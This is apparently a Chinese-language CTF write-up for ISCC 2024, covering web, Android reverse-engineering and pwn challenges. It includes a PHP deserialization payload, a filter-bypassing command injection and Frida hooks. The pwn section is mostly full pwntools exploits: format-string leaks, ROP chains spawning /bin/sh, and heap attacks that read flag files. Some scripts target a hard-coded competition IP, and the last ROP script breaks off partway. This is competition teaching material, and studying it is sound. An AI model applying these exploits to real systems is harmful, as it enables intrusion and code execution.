这句话对应台词是:你就是个臭卖鱼的,我想吃鱼了,你就遭老罪喽

image-20240506201913104

也是:你就是个臭卖鱼的,我想吃鱼了,你就遭老罪喽

然后拿到源码:

image-20240506201957998

 <?php
include("./2024ISCC.php");
// 欢迎大家来到ISCC,本题大家将扮演《狂飙》中的警察,寻找关键证据,抓捕犯罪嫌疑人。
$code = file_get_contents(__FILE__);
highlight_string($code);

class police
{
public $work;
public $awarding = "salary";

public function __construct($a)
{
$this ->work = $a;
}

public function __destruct()
{
echo "我是一名人民警察,打击违法犯罪义不容辞<br>";
$this-> work = new suspect();
echo $this-> work -> evidence_video;
echo $this-> work -> evidence_fingerprint;
}
}

class suspect
{
private $video;
private $fingerprint;

public function __get($name)
{
if($name == "evidence_video")
{
echo "property.transactions怎么可能这么容易获得呢?<br>";
}
else
{
echo "blood.fingerprint怎么可能这么容易获得呢?<br>";
}
}

public function __toString()
{
$this -> video = "property.transactions";
$this -> fingerprint = "blood.fingerprint";
return "差点就让你获得证据了<br>";
}
}

class tools
{
public $object;
private $camera = 0;
private $technology = 0;

public function __construct()
{
echo "使用camera和technology可以找到蛛丝马迹<br>";
}

public function __invoke()
{
$this -> camera = 1;
$this -> technology = 1;
echo $this->object;
}
}

function filter($name)
{
$safe = "evil";
$name = str_replace($safe, "light", $name);
return $name;
}

if (isset($_GET["evidence"]))
{
$a = filter(serialize(new police($_GET["evidence"])));
echo $a;
global $tips;
if((strpos($a, $tips) !== false) && unserialize($a) -> awarding == "pennant")
{
global $flag;
echo $flag;
}
}
?>

反序列化+字符串逃逸

字符串逃逸的话是构造:awarding=pennat

也就是每次多1个

print("evil"*len('";s:8:"awarding";s:7:"pennant";}'))

image-20240506202649292

得到:

evilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevil

结合一下也就是:

evilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevil”;s:8:”awarding”;s:7:”pennant”;}

然后就是反序列化的触发:

<?php
class suspect
{
private $video= "property.transactions";
private $fingerprint= "blood.fingerprint";



public function __toString()
{

$this->video = "property.transactions";
$this->fingerprint = "blood.fingerprint";
return "差点就让你获得证据了<br>";
}
}

class tools
{
public $object;
private $camera = 1;
private $technology = 1;
public function __destruct()
{
echo $this->object;
}
}
$a=new tools();
$a->object=new suspect();
echo "\n".serialize($a)."\n";

image-20240506203452933

O:5:"tools":3:{s:6:"object";O:7:"suspect":2:{s:14:" suspect video";s:21:"property.transactions";s:20:" suspect fingerprint";s:17:"blood.fingerprint";}s:13:" tools camera";i:1;s:17:" tools technology";i:1;}

image-20240506203641586

将我们字符串逃逸的结果接到这个后面就行:

?evidence=?evidence=O:5:"tools":3:{s:6:"object";O:7:"suspect":2:{s:14:"suspectvideo";s:21:"property.transactions";s:20:"suspectfingerprint";s:17:"blood.fingerprint";}s:13:"toolscamera";i:1;s:17:"toolstechnology";i:1;}evilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevilevil";s:8:"awarding";s:7:"pennant";}

image-20240506204153616

ISCC{vI3OzkwefMyu@vBK}

最喜欢的一集

进来

image-20240525130727071

hint是welcome.php 访问一下

image-20240525130936293

黑名单过滤 简单绕过一下

ISCC=eval("sys${0}tem('ls /');")

image-20240525131056762

出了目录

但是禁了一些读文件的命令 但是明显没禁完

这里我们用head命令读flag

ISCC=eval("sys${0}tem('head /flaaaaaaaaagggggg');")

image-20240525131449109

mobile

练武题

Puzzle_Game

附件给了一个apk文件

将apk文件拖入jadx

在源代码/com/example.whathappened/Receiver中找到关键信息–随机数种子3468L

image-20240506195506007

编写java代码,生成对应的随机字节数组

import java.util.Arrays;
import java.util.Random;
public class payload {
public static void main(String[] args){
byte[] array=generateSalt(16);
System.out.println(Arrays.toString(array));

}
private static byte[] generateSalt(int i) {
byte[] array = new byte[i];
new Random(3468L).nextBytes(array);
return array;
}
}

image-20240506200156653

[56, 88, 36, -37, -15, -20, 48, 67, 51, -86, 122, -114, -76, 78, 63, 71]

ok 然后写python脚本生成对应flag

from ctypes import *
import base64
a = lambda x: [ord(i) for i in x]
b = lambda x: base64.b64encode(bytes(x)).decode()
c = lambda x: [c_uint8(i).value for i in x]
enc0 = a("04999999gwC9nOCNUhsHqZm")
p = c([56, 88, 36, -37, -15, -20, 48, 67, 51, -86, 122, -114, -76, 78, 63, 71])
for i in range(len(enc0)):
enc0[i] ^= p[i % len(p)]
mn = a(b(p + enc0))

for i in range(len(mn)):
mn[i] += 0x7f
mn[i] &= 0xff

for i in range(len(mn)):
if i & 1 == 0:
mn[i] ^= 0x7b
else:
mn[i] ^= 0xea
print("ISCC{"+b(mn)[:32]+"}")

image-20240506200646499

ISCC{tS+dAMpEvBi3LrcTiweLJIguyESqHJwY}

image-20240506200749969

ChallengeMobile

jadx反编译

image-20240525014205696

发现是在动态加载dex

frida然后hook的native混淆方法的返回值 dump下来dex

image-20240525014221076

写个脚本可以跑:

import frida, sys

jscode = """
Java.perform(function () {
var MainActivity = Java.use("com.example.challengemobile.MainActivity");

MainActivity.a.implementation = function (bArr) {
var result = this.a(bArr);
console.log("res: ", result);
return result;
};
});

"""


def message (message, data):
if message["type"] == 'send':
print("[*] {0}".format(message['payload']))
else:
print(message)

process = frida.get_remote_device().attach('challengemobile')
script= process.create_script(jscode)
script.on("message", message)
script.load()
sys.stdin.read()

dex发现(52 / (length + 1)) + 6; 1640531527

是xxtea加密

key在native中

跑下脚本 调试getKey得密钥

import frida, sys

jscode = """
function main() {
Java.perform(function () {
var ClassUse = Java.use("java.lang.Class");
var dexclassLoader = Java.use("dalvik.system.DexClassLoader");
dexclassLoader.loadClass.overload("java.lang.String", "boolean").implementation =
function (name, initialize) {
console.log("Loading class:", name); // Debug: 输出尝试加载的类名
var result = this.loadClass(name, initialize);

if (name === "com.example.challengemobile.Checker") {
console.log("Found target class:", name); // Debug: 确认找到目标类
var hookClass = result;
var hookClassCast = Java.cast(hookClass, ClassUse);
try {
var method = hookClassCast.getMethod("getKey", []);
var keyResult = method.invoke(null, []);
console.log("Key obtained:", keyResult); // 输出getKey的结果
return keyResult;
} catch (e) {
console.log("Error during method invocation:", e); // 如果getMethod或invoke出错,输出错误信息
}
}
return result;
};
});
}

setImmediate(main);
"""

def message (message, data):
if message["type"] == 'send':
print("[*] {0}".format(message['payload']))
else:
print(message)

process = frida.get_remote_device().attach('challengemobile')
script= process.create_script(jscode)
script.on("message", message)
script.load()
sys.stdin.read()

最后XXTea解密得flag

import xxtea

# 填入数据
key1 = b''
encrypted_data = b''

decrypted_data = xxtea.decrypt(encrypted_data, key,padding=False)

print(decrypted_data)

ohHELP

jadx打开看下

image-20240525124424353

研究下 发现a.a()会产生空异常,跟一下,发现GetKey返回为null

image-20240525124537097

同时可以在ssh下找到个key

frida对其进行设置返回值后可以看到其在调用property的时候退出,这时需要我们再次手动设置一下对应的返回值信息:

image-20240525124640143

然后我们的Hook AesUtil.encrypt就不会有错误而退出

但是GetTime返回的又是现在的一个时间戳,需要再次设置一下目标时间

然后再次hook便可以得到flag

frida写脚本:

let Myjni = Java.use("com.example.ohhelp.MyJNI.Myjni");
Myjni["GetKey"].implementation = function () {
console.log('GetKey is called');
let ret = this.GetKey();
console.log('GetKey ret value is ' + ret);
return "PUDzbflthjqxlJVW";
};

let System = Java.use('java.lang.System');
System.getProperty.overload('java.lang.String').implementation = function (propertyName) {
var returnValue = this.getProperty(propertyName);
console.log("System.getProperty called with propertyName: " + propertyName + ", returned: " + returnValue);
if (propertyName === "java.vm.vendor") {
return "";
}
return returnValue;
};
let Myjni = Java.use("com.example.ohhelp.MyJNI.Myjni");
Myjni["GetTime"].overload().implementation = function () {
console.log('GetTime is called');
let ret = this.GetTime();
console.log('GetTime ret value is ' + ret);
return "1055853128000";
};

擂台题

上春山

附件下载下来是一个apk

image-20240525132020469

但是jadx打开出来不行

这里我们需要把它改成zip

image-20240525132301889

在里面找到一个.so文件

image-20240525132453208

IDA打开

image-20240525132525771

研究了一下

写了个脚本

#include <iostream>
#include <cstring>

int main() {
char *v4; // r14
const char *v3 = "999"; // 手动给 v3 赋值为 "999"

if ( !strcmp(v3, "999") )
{
v4 = new char[1]; // 使用 new 分配内存
char v5 = strlen(v3); // 使用 strlen 获取字符串长度
*v4 = v5 + strlen("dtJFkgiuTWcFBdgeGh") + 5;
strcat(v4, "flag:");
strcat(v4, v3);
strcat(v4, "dtJFkgiuTWcFBdgeGh");

// 输出拼接后的字符串
std::cout << v4 << std::endl;

// 释放动态分配的内存
delete[] v4;
}

return 0;
}

image-20240525132746110

EzArd

jadx打开

看到这段代码是将时间流转换成字符流

调试

image-20240525152122474

动态调试得

字符串 3SRNH1pdcta4283rFzAHxvZOLjIizbJ64UFx

加密:异或、换位、base64换表

image-20240525152231525

然后逐位爆破输出解密字符串

from Crypto.Util.number import long_to_bytes

# 定义 Base58 字符集
BASE58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"

# 待解码的消息
ENCODED_MESSAGE = "3SRNH1pdcta4283rFzAHxvZOLjIizbJ64UFx"

# 初始化解码结果列表,长度与原消息相同
decoded_results = ["1"] * len(ENCODED_MESSAGE)

def base58_to_decimal(encoded_string):
"""
将 Base58 编码的字符串转换为其十进制表示。
"""
base = 58
decimal_value = 0
power = 0
for char in reversed(encoded_string):
digit = BASE58_ALPHABET.index(char)
decimal_value += digit * (base ** power)
power += 1
return decimal_value

# 遍历偏移量 k,尝试解码
for offset in range(26):
try:
# 重新初始化解码结果列表,避免之前迭代的影响
decoded_chars = ["1"] * len(ENCODED_MESSAGE)

# 解码过程
for index, char in enumerate(ENCODED_MESSAGE):
if char.isdigit():
decoded_chars[index] = char
elif char.islower():
decoded_chars[index] = chr((ord(char) - 97 + offset) % 26 + 97)
elif char.isupper():
decoded_chars[index] = chr((ord(char) - 65 + offset) % 26 + 65)

# 合并解码后的字符列表为字符串
modified_message = "".join(decoded_chars)

# 转换为十进制并尝试打印解码结果
print(offset, long_to_bytes(base58_to_decimal(modified_message)))
except ValueError: # 更具体的异常处理,当字符不在 BASE58 集合中时抛出
pass

image-20240525152433984

pwn

练武题

chaos

先看看这个程序是个怎么个事

image-20240525015440133

image-20240525015500714

image-20240525015515551

用IDA打开康康呢

发现存在system函数

是在sub_400C8A函数进行调用的

跟进一下看看

image-20240525015630200

这样思路就很清楚了

开始申请又释放了一个chunk(ptr),后面又申请了一个v1的chunk,又将释放的chunk和Flag进行了对比,如果相等则会执行后门函数,申请的chunk大小可控,如果大小为第一个chunk的大小然后发送Flag为其内容即可获得shell

from pwn import *
p = remote("xxxx",[port])

p.recvuntil(b"Choice")
p.sendline(b'5')

p.recvuntil(b"Chunk size")
p.sendline(b'104')

p.recvuntil(b'Content')
p.sendline(b'Flag')

p.interactive()

image-20240525015811626

ISCC_easy

IDA打开看看

发现存在字符串漏洞

image-20240525020053482

简单看看

如果在 printf 函数中,如果字符串 s 中包含格式化字符串

可以控制输入的格式化字符串来达到读取或修改内存的目的

而没有binsh、system函数 证明我们需要自己构造

可以通过libc基址进行计算

from pwn import *

p = remote('xxxx',[port])
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')

p.recvuntil(b"Let's have fun!\n")
x = 0x804C030
payload = fmtstr_payload(4, {x: 5}) + b'%15$p'
p.send(payload)

p.recvuntil(b'0x')
libc_addr = int(p.recv(8), 16)
libcbase = libc_addr - libc.sym['__libc_start_main'] - 0XF5
log.info('libcbase: ' + hex(libcbase))

system = libcbase + libc.symbols['system']
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
payload = b'a' * (0x90 + 0x4) + p32(system) + p32(0x0) + p32(str_bin_sh)
p.recvuntil(b'Input')
p.sendline(payload)

p.interactive()

image-20240525020427652

easyshell

IDA打开

发现func函数

image-20240525020639276

研究一下

发现有一个溢出和fmt漏洞

image-20240525020717035

并且 还有后面函数

所以思路就很清楚了

先用fmt漏洞使泄露出canary和elf地址 接着就是ret2text

from pwn import *
p = remote('xxxx',[port])
elf = ELF('./easyshell')
p.recvuntil(">>")
pay=b'flagisaaa%15$p%17$p'
p.sendline(pay)
p.recvuntil("0x")
canary=int(p.recv(16),16)
p.recvuntil("0x")
pie=int(p.recv(12),16)-0x1422-254
p.recvuntil(">>")
pay=(b'exit').ljust(0x38)+p64(canary)*2+p64(pie+0x1291)
p.sendline(pay)
p.recvuntil(">>")
p.sendline(b'exit')
p.interactive()

image-20240525021237719

miao

IDA打开

简单审计后 发现有格式化字符串漏洞

image-20240525021623711

并且还有栈溢出

image-20240525021707291

所以:

from pwn import *
from LibcSearcher import *
elf=ELF("./miao")
io=remote("xxxx",[port])
io.recvuntil(b"?\n")
io.sendline(b"%31$p")
io.recvuntil(b"0x")
canary=int(io.recv(8),16)
print(hex(canary))
eax=0x080b8666
ebx_edx=0x0806f309
ecx=0x080def3d
bin_sh=0x80BB7C8
int_80=0x0806cf83
payload=b"a"*0x64+p32(canary)
payload=payload.ljust(0x74,b"a")
payload+=p32(eax)+p32(0xb)+p32(ebx_edx)+p32(bin_sh)+p32(0)+p32(ecx)+p32(0)+p32(int_80)
io.sendline(payload)
io.interactive()

image-20240525021808233

Flag

IDA打开发现使格式化字符串

看看怎么个事

image-20240525022044106

所以 我们通过格式化字符串泄露找到libc地址

image-20240525022206320

from pwn import *
from LibcSearcher import *
x=int(input("请选择模式\n1:远程攻击\n2:本地攻击\n3:exp调试\n"))
if x == 1:
r=remote("xxxx",[port])
context(os='linux',arch="i386",log_level='debug')
elif x == 2 :
r=process("./iscc/attachment-13")
context(os='linux',arch="i386",log_level='debug')
elif x == 3:
r=gdb.debug("./iscc/attachment-12",gdbscript="b *0x804940c")
elf=ELF('./iscc/attachment-12')
libc=ELF('./libc/ret2-csu-libc.so.6')
puts_plt=elf.plt['write']
puts_got=elf.got['write']
back=0x804931b
r.sendlineafter("what's the content?\n",'%19$p')
r.recvuntil("Your answered:\n")
canary=int(r.recv(10),16)
print("canary------>"+str(hex(canary)))
p=flat(b'a'*(0x88),canary,b'aaaa',canary,b'aaaa',puts_plt,back,1,puts_got,8)
r.sendlineafter("Input:\n",p)
write_addr=u32(r.recv(4))
print("puts_addr------->"+str(hex(write_addr)))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
# libc_base=write_addr-libc.symbols['write']
system=libc_base+libc.dump("system")
sh=libc_base+libc.dump('str_bin_sh')
p=flat(b'a'*(0x88),canary,b'aaaa',canary,b'aaaa',system,'aaaa',sh)
r.sendline(p)
r.interactive()

Your_program

简单看看这个程序

发现

程序是先进行认证,如果输入的key的第28位为A则通过验证,然后程序申请了一个堆块,o 位置处指针指向该堆块data域,这个堆块地址+3*8以及地址+4*8位置有函数指针,该堆块地址处存一个 我们输入的长度最大为24的name。然后提供了一个菜单,循环执行,当选择功能4的时候程序会询问你 是否真的要退出,如果输入y,则下一次循环结束后结束程序;如果输入$,则在下一次循环后释放o指向 的堆块。

所以

IDA打开:

image-20240525022703014

用gets函数读取,存在栈溢出

image-20240525022745908

格式化字符串漏洞

image-20240525022804786

exp:

import time
from pwn import *

# 设置架构和日志级别
context.arch = "amd64"
context.log_level = "debug"

# 连接到远程进程
# p = process("./your_program")
p = remote("182.92.237.102", 10032)

# 加载ELF文件以获取符号信息
elf = ELF("./your_program")

# 定义辅助函数
def leak_address(p, num_bytes=6):
"""Leak memory address by receiving data until '\x7f' is encountered."""
data = p.recvuntil(b'\x7f')
return u64(data[-num_bytes:].ljust(8, b'\x00'))

# 地址定义
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x0000000000401763
ret_address = 0x000000000040101a
main_address = 0x00000000004014C8
auth_address = 0x000000000040127A # Overflow detected here
overflow_variable = 0x0000000000403668

# 构造利用key
key_payload = b"A"*32 + p64(0) + p64(pop_rdi_ret) + p64(printf_got) + p64(puts_plt) + p64(main_address)
p.sendlineafter("Enter key:", key_payload)

# 获取printf地址
printf_leaked = leak_address(p)
log.info(f"printf address: {hex(printf_leaked)}")

# 计算libc基址
libc_base = printf_leaked - 0x061c90
system_address = libc_base + 0x052290

# 准备格式化字符串攻击
def exploit_format_string(payload):
"""Send payload to trigger format string vulnerability."""
p.sendlineafter(">", b"2")
p.sendline(payload)

# 清除操作
def clear_app(choice=b'n'):
"""Option to clear or stay in the app."""
p.sendlineafter(">", b"4")
p.sendlineafter("Are you sure you want to exit? (y/n)", choice)

# Request heap allocation
def request_heap_allocation(payload):
"""Request heap allocation and write content."""
p.sendlineafter(">", b"3")
p.sendline(payload)

# Offset calculation and initial key setup
offset = 6
initial_key = b"A"*28
p.sendlineafter("Enter key:", initial_key)
p.sendlineafter("Welcome to ISCC, tell me your name:", b"hacker")

# Leaking heap base address
format_payload = b"%7$s".ljust(8, b'\xff') + p64(overflow_variable)
exploit_format_string(format_payload)
p.recvuntil("hello hack\n")
heap_base = u64(p.recvuntil(b'\xff')[:-1].ljust(8, b'\x00'))
log.info(f"Heap base: {hex(heap_base)}")

# Clearing app state
clear_app(b'\x24')
clear_app()

# Prepare for system call
request_heap_allocation(p64(0)*3 + p64(system_address))

# Overwrite heap to redirect flow
overwrite_payload = f"%{0x3024}c%9$hn".encode().ljust(0x18, b'\xff') + p64(heap_base)
exploit_format_string(overwrite_payload)

log.info(f"Libc base: {hex(libc_base)}")
# Interactive shell
p.interactive()

image-20240525023134915

ISCC_U

ida打开

image-20240525023237972

申请堆块

image-20240525023308186

打印为note赋的值

同样

system和binsh的地址通过计算Libc基址来获取

from pwn import *
p = remote('182.92.237.102', 10016)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
def create(Size, Content=b'a'):
p.recvuntil(b'choice')
p.sendline(b'1')
p.recvuntil(b'size')
p.sendline(bytes(str(Size), 'utf-8'))
p.recvuntil(b'Content')
p.send(Content)
def free(id):
p.recvuntil(b'choice')
p.sendline(b'2')
p.recvuntil(b'Index')
p.sendline(bytes(str(id), 'utf-8'))
def show(id):
p.recvuntil(b'choice')
p.sendline(b'3')
p.recvuntil(b'Index')
p.sendline(bytes(str(id), 'utf-8'))
create(0x500)
create(0x20)
free(0)
create(0x500, b'a' * 4)
show(0)
libc_addr = u32(p.recvuntil(b'\xf7')[-4:])
malloc_hook = libc_addr - 0x38 - 0x18
libcbase = malloc_hook - libc.symbols['__malloc_hook']
system = libcbase + libc.symbols['system'] + 1
puts = libcbase + libc.symbols['puts']
success('malloc_hook ' + hex(malloc_hook))
success('libcbase ' + hex(libcbase))
free(1)
free(2)
create(0x8, p32(system) + b';sh;')
show(1)
p.sendline("cat${IFS}flag.txt")
p.interactive()

eazy_heap

IDA打开

image-20240525023851106

但是是开了一个沙盒 不能直接system

还有个uaf

image-20240525024041225

add函数中只能,申请大chunk

image-20240525024131404

用largbinattack打stderr

然后写入house_of_apple然后用exit刷新流完成orw

from pwn import *

p = remote("xxxx",[port])
libc = ELF("./libc.so.6")
elf = ELF('./CAT_DE')
context.update(arch='amd64', os='linux', log_level='debug')

def add(size, content):
p.sendlineafter("car choice >> ", "1")
p.sendlineafter("size:", str(size))
p.sendafter("content:", content)

def edit(idx, content):
p.sendlineafter("car choice >> ", "4")
p.sendlineafter("idx:", str(idx))
p.sendafter("content:", content)

def show(idx):
p.sendlineafter("car choice >> ", "3")
p.sendlineafter("idx:", str(idx))

def delete(idx):
p.sendlineafter("car choice >> ", "2")
p.sendlineafter("idx:", str(idx))

add(0x440, "AAA")
add(0x88, "AAA")
add(0x440, "AAAA")
add(0x88, "AAA")
delete(0)
delete(2)
add(0x450, "AAAA")
add(0x440, "AAAAAAAA")
add(0x440, "BBBBBBBB")
show(4)

p.recvuntil("\0")
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x21a000 - 0xe0
log.info("libc_base: " + hex(libc.address))

envrion = libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(2)

heap_addr = u64(p.recv(8)) - 0x290
print(hex(heap_addr))

for i in range(7):
add(0xf8, "AAA")

add(0x108, "AAA")
add(0xf0, "AAAA")
add(0x88, "AAA")

for i in range(7):
delete(i + 5)

target = heap_addr + 0x17c0
ptr = heap_addr + 0xc60
edit(0, p64(target))
payload = p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x100, b"\x00") + p64(0x100)
edit(12, payload)
delete(13)

add(0xe8, "AAAA")
add(0xe8, "AAAA")

delete(5)
delete(6)
show(12)
p.recvuntil("\xf1")
p.recv(7)
en_key = u64(p.recv(8))
print("en_key: " + hex(en_key))
key = u64(p.recv(8))
print("key: " + hex(key))
payload = p64(0) + p64(0xf1) + p64(en_key) + p64(key)
payload = payload.ljust(0xf0, b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr + 0x10) ^ en_key)
edit(12, payload)

add(0xe8, "AAAA")
add(0xe8, p64(0) * 3 + p64(0x0000000700010001) + p64(0) * 24 + p64(envrion - 16))
print(hex(stdout))

add(0xd0, "A" * 8)
show(7)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x140 - 8
print(hex(stack))
edit(6, p64(0) * 3 + p64(0x0000000700010001) + p64(0) * 24 + p64(stack))

pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx_r12 = 0x000000000011f497 + libc.address
read_addr = libc.sym['read']
open_addr = libc.sym['open']
write_addr = libc.sym['write']

orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)
add(0xd0, b"./flag".ljust(8, b"\x00") + orw)

p.interactive()

heapheap

IDA打开

发现add函数内使用了 calloc 分配内存,但没有检查分配是否成功

image-20240525024616550

这样会导致内存泄露

同样

利用 large bin attack 向标准错误输出 , 然后写入 house_of_apple , 最后用 exit 刷新流完成 orw

from pwn import *

p = remote('xxxx', [port])
libc = ELF('./libc-2.31.so')
context.update(os='linux', arch='amd64', log_level='debug')

def create(idx, Size):
p.recvuntil(b'choice')
p.sendline(b'1')
p.recvuntil(b'index')
p.sendline(bytes(str(idx), 'utf-8'))
p.recvuntil(b'Size')
p.sendline(bytes(str(Size), 'utf-8'))


def free(id):
p.recvuntil(b'choice')
p.sendline(b'4')
p.recvuntil(b'index')
p.sendline(bytes(str(id), 'utf-8'))


def edit(id, Content):
p.recvuntil(b'choice')
p.sendline(b'3')
p.recvuntil(b'index')
p.sendline(bytes(str(id), 'utf-8'))
p.recvuntil(b'context')
p.send(Content)


def show(id):
p.recvuntil(b'choice')
p.sendline(b'2')
p.recvuntil(b'index')
p.sendline(bytes(str(id), 'utf-8'))


create(0, 0x420)
create(1, 0x410)
create(2, 0x410)
create(3, 0x410)
free(0)
show(0)

libc_add = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = libc_add - libc.symbols['__malloc_hook'] - 96 - 0x10
io_list_all = libcbase + 0x1ed5a0
log.info('libcbase ' + hex(libcbase))
log.info('io_list_all ' + hex(io_list_all))

create(4, 0x430)
edit(0, b'a' * (0x10 - 1) + b'A')
show(0)
p.recvuntil(b'A')
heap_add = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
log.info('heap_add ' + hex(heap_add))

fd = libcbase + 0x1ecfd0
payload = p64(fd) * 2 + p64(heap_add) + p64(io_list_all - 0x20)
edit(0, payload)

free(2)
create(5, 0x470)
free(5)

openadd = libcbase + libc.sym['open']
readadd = libcbase + libc.sym['read']
writeadd = libcbase + libc.sym['write']
setcontextadd = libcbase + libc.sym['setcontext']
rdi = libcbase + 0x0000000000023b6a
rsi = libcbase + 0x000000000002601f
rdx_r12 = libcbase + 0x0000000000119431
ret = libcbase + 0x0000000000022679

chunk_small = heap_add + 0x850
IO_wfile_jumps = libcbase + 0x1e8f60
fakeIO_add = chunk_small
orw_add = fakeIO_add + 0x200
A = fakeIO_add + 0x40
B = fakeIO_add + 0xe8 + 0x40 - 0x68
C = fakeIO_add

fake_IO = b''
fake_IO = fake_IO.ljust(0x18, b'\x00')
fake_IO += p64(1)
fake_IO = fake_IO.ljust(0x78, b'\x00')
fake_IO += p64(fakeIO_add)
fake_IO = fake_IO.ljust(0x90, b'\x00')
fake_IO += p64(A)
fake_IO = fake_IO.ljust(0xc8, b'\x00')
fake_IO += p64(IO_wfile_jumps)
fake_IO += p64(orw_add) + p64(ret) + b'\x00' * 0x30
fake_IO += p64(B) + p64(setcontextadd + 61)

flag_add = orw_add + 0x100 + 0x10

orw = p64(rdi) + p64(flag_add) + p64(rsi) + p64(0) + p64(openadd)
orw += p64(rdi) + p64(3) + p64(rsi) + p64(flag_add) + p64(rdx_r12) + p64(0x50) + p64(0) + p64(readadd)
orw += p64(rdi) + p64(1) + p64(writeadd)

payload = fake_IO
payload = payload.ljust(0x200 - 0x10, b'\x00')
payload += orw
payload = payload.ljust(0x300, b'\x00')
payload += b'flag\x00'

edit(2, payload)

p.recvuntil(b'choice')
p.sendline(b'5')

p.interactive()

image-20240525024728264

shopping

IDA打开

发现漏洞点在堆输入的时候,输入长度的判断导致溢出

image-20240525024947622

在bss上调用了函数指针

image-20240525025019342

这样的话 思路就很清楚了

通过溢出篡改CALLW的指针指向system

# coding:utf8
from pwn import *

path = "attachment-11"

sh = remote('xxxx',[port])
elf = ELF(path)
system_plt = elf.plt['system']
sh.sendlineafter('Enter the password:', "I'm ready for shopping")


def add(size, n, content=''):
sh.sendlineafter(b'Action:', '1')
sh.sendlineafter(b'Item ID:', str(size))
sh.sendlineafter(b'Quantity:', str(n))
if content == '':
sh.sendlineafter(b'Add gift message? (0/1):', '0')
else:
sh.sendlineafter(b'Add gift message? (0/1):', '1')
sh.sendafter(b'Message: ', content)


for i in range(12):
add(0x4000, 1000)

add(0x4000, 262, '0' * 0x3FF0)
# 溢出,修改thread_arena,将bss上的fake_chunk接到fastbin里
payload = b'1' * 0x50 + p32(0) + p32(3) + 10 * p64(0x60201d)
sleep(0.2)
sh.send(payload)

sleep(0.2)
payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)
payload = payload.ljust(0x60, b'b')
add(0x60, 0, payload)

sh.interactive()

image-20240525025342382

擂台题

Curious

没什么好说的

exp:

from pwn import *
from struct import pack
context.os='linux'
elf = ELF("./pwn")
io = remote('xxxx', port)
p = b''
p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c20e0) # @ .data
p += pack('<Q', 0x0000000000452af7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000483b85) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c20e8) # @ .data + 8
p += pack('<Q', 0x0000000000446ef9) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000483b85) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401912) # pop rdi ; ret
p += pack('<Q', 0x00000000004c20e0) # @ .data
p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c20e8) # @ .data + 8
p += pack('<Q', 0x000000000040181f) # pop rdx ; ret
p += pack('<Q', 0x00000000004c20e8) # @ .data + 8
p += pack('<Q', 0x0000000000446ef9) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
